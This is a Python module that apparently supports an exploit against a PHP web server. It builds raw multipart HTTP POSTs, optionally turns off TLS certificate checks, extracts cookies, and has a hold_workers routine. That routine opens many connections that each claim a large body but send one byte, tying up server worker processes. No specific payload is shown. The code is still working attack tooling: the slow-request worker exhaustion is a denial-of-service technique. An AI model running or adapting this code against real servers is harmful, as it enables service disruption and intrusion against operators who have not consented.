import socket import ssl import time import urllib.parse BOUNDARY = b"C" * 10 def connect(host, port, timeout=5.0, tls=False, insecure=False): sock = socket.create_connection((host, port), timeout=timeout) if not tls: return sock ctx = ssl.create_default_context() if insecure: ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return ctx.wrap_socket(sock, server_hostname=host) def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536): hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n" % (path, host, boundary.decode())).encode() out = bytearray(hdr) for i in range(0, len(body), chunk): piece = body[i:i + chunk] out += ("%x\r\n" % len(piece)).encode() + piece + b"\r\n" out += b"0\r\n\r\n" return bytes(out) def frame_plain(path, body, host, boundary=BOUNDARY): return ("POST %s HTTP/1.1\r\nHost: %s\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nConnection: close\r\n\r\n" % (path, host, boundary.decode(), len(body))).encode() + body def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False): resp = bytearray() sock = connect(host, port, timeout, tls, insecure) sock.settimeout(timeout) try: sock.sendall(blob) while len(resp) < limit: piece = sock.recv(65536) if not piece: break resp.extend(piece) except OSError: pass sock.close() return bytes(resp) def cookie(resp, key): marker = b"Set-Cookie: " + key + b"=" i = resp.find(marker) if i < 0: return None val = resp[i + len(marker):].split(b"\r\n", 1)[0] return urllib.parse.unquote_to_bytes(val.decode("latin1")) def status(resp): if not resp: return "" return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace") def warm(host, port, path="/index.php", tls=False, insecure=False): sock = connect(host, port, 5, tls, insecure) sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode()) sock.recv(1024) sock.close() def hold_workers(host, port, count, body_len=1048576, path="/index.php", tls=False, insecure=False): held = [] if count <= 0: return held for _ in range(count): sock = connect(host, port, 5, tls, insecure) sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode()) held.append(sock) time.sleep(0.01) time.sleep(0.8) return held def release(held): for sock in held: try: sock.close() except OSError: pass